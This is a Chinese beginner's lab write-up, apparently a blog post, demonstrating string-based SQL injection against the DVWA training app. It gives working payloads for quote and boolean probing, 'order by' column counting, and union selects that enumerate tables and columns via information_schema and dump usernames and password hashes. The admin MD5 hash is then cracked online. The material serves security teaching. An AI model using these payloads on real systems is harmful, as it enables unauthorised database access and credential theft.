天天看點

2.第一節-----sql注入------小白學習------DVWA

0x01:sql注入含義

1.問:sql注入,誰去注入?

答:攻擊者

2.問:sql注入,注入到哪裡?

答:sql注入,注入到sql查詢語句

3.問:sql注入,目的什麼?

答:sql注入,注入到sql查詢語句,進而破壞正常的sql查詢語句,最終執行自己想要執行的語句

4.問:sql注入時候,執行的語句,有什麼作用?

答:sql注入,執行的語句會與背景伺服器直接進行互動,相當于是在一條指令換取一條甚至一組結果,之後傳回到浏覽器的頁面進行渲染後,呈現在攻擊者的面前。

0x02:本次sql注入的類型:

1.字元型注入,它的字元型是什麼意思?

答:當輸入的參數為字元串時,稱為字元型。

2.字元型與數字型(整型)的差別在哪?

答:字元型和數字型最大的一個差別在于,數字型不需要單引号來閉合,而字元串一般需要通過單引号來閉合的。

3.注入的類型到底是什麼鬼?

答:①攻擊者把指令注入到查詢語句中,是為了傳到背景的sql伺服器後,可以執行,并且獲得回報。

②那麼這個以什麼類型的語句注入到查詢語句中,就完全取決于背景的sql伺服器了。

③若伺服器設定為char字元型,那麼相應的你也要通過字元型來注入咯。。。。。

例1:

1.字元型注入的發現過程:

①.首先你會發現一個注入點,如下圖所示:

2.第一節-----sql注入------小白學習------DVWA

②輸入:

'

2.第一節-----sql注入------小白學習------DVWA
如上圖所示,通過結果發現伺服器是通過字元串的格式來接收傳參的,是以這個就是字元型注入咯。

a.最外面一對單引号,是為了高亮顯示,也就是強調的。
b.接着一對單引号,是系統自動加的單引号。(字元型的,自動加一對單引号)(從這裡判斷的,這是字元型注入)
c.最裡面一個單引号,是剛剛自己打的。

           

③輸入:

1' and '1'='1

2.第一節-----sql注入------小白學習------DVWA
如上圖所示,結果正常顯示。
a.第一行紅色回顯的語句,這條語句是你自己在輸入框輸入的語句,隻是為了讓你看清,自己輸入了什麼。
b.第一行的語句:1'  and  '1'=1'   這條語句在送出後,系統會自動進行閉合,也就是自動在前後加一對單引号,如:  '1'  and  '1'='1'
           

④輸入:

1' and '1'='2

2.第一節-----sql注入------小白學習------DVWA
2.第一節-----sql注入------小白學習------DVWA

如上圖所示,送出後無回顯。

總結:字元型注入的判斷過程:

'										//出現5個引号		'''
1   and  1=1							//正常回顯			'1   and  1=1'		
1   and  1=2							//正常回顯			'1   and  1=2'
1'  and  '1'='1							//正常回顯			'1'  and  '1'='1'	
1'  and  '1'='2							//不回顯				'1'  and  '1'='2'	
//前後的一對單引号,是字元型的時候,系統的自動閉合。
           

2.通過order by,猜解SQL查詢語句中的字段數

①輸入:

1' order by 3 #

2.第一節-----sql注入------小白學習------DVWA

②輸入:

1' order by 2 #

2.第一節-----sql注入------小白學習------DVWA

3.通過聯合查詢,确定顯示的字段順序,檢視目前資料庫,版本,使用者等資訊

①輸入:

1' union select 1,2 #

2.第一節-----sql注入------小白學習------DVWA
//如上圖所示,
Firstname為1;
Surname為2。
           

②輸入:

1' union select database(),version() #

2.第一節-----sql注入------小白學習------DVWA
//如上圖所示,
把1的位置換成database()後,顯示資料庫為dvwa;
把2的位置換成version()後,顯示版本為5.5.53。
           

③輸入:

1' union select user(),2 #

2.第一節-----sql注入------小白學習------DVWA
//如上圖所示,
把1的位置換成user()後,顯示伺服器的使用者為root,localhost為hostname主機名;
2的位置,依舊放2。
           

4.通過聯合查詢爆dvwa資料庫的表

①輸入:

1' union select group_concat(table_name),2 from information_schema.tables where table_schema='dvwa' #

2.第一節-----sql注入------小白學習------DVWA
//如上圖所示,
聯合查詢後,一次性顯示的表為:guestbook和users
           

②輸入:

1' union select table_name,2 from information_schema.tables where table_schema='dvwa' #

2.第一節-----sql注入------小白學習------DVWA
//如上圖所示,是逐條的顯示出,表guestbook和users
           

5.通過聯合查詢,爆表裡的列

①輸入:

1' union select group_concat(column_name),2 from information_schema.columns where table_name='users' #

2.第一節-----sql注入------小白學習------DVWA
//如上圖所示,一次性的爆列名,注意user_id和first_name和,user和password
           

②輸入:

1' union select column_name,1 from information_schema.columns where table_name='users' #

2.第一節-----sql注入------小白學習------DVWA
//如上圖所示,逐條爆出列名,注意user_id和first_name和,user和password
           

6.通過聯合查詢,爆出列中的字段的内容

①輸入:

1' union select group_concat(concat_ws(char(32,58,32),user,password)),2 from users#

2.第一節-----sql注入------小白學習------DVWA

//如上圖所示,一行顯示所有資訊

②輸入:

1' union select concat_ws(char(32,58,32),user,password),2 from users#

2.第一節-----sql注入------小白學習------DVWA
//如上圖所示,分行顯示各自的使用者名和密碼
           

③輸入:

1' union select user,password from users #

2.第一節-----sql注入------小白學習------DVWA
//如上圖所示,使用者名和密碼分行顯示
           

7.解密admin使用者的md5加密後的密碼

①進入網站:https://www.cmd5.com/

2.第一節-----sql注入------小白學習------DVWA
//如上圖所示,admin的密碼是password
           
一句天賦毀了别人多少努力
																									2019-11-02————421
           

繼續閱讀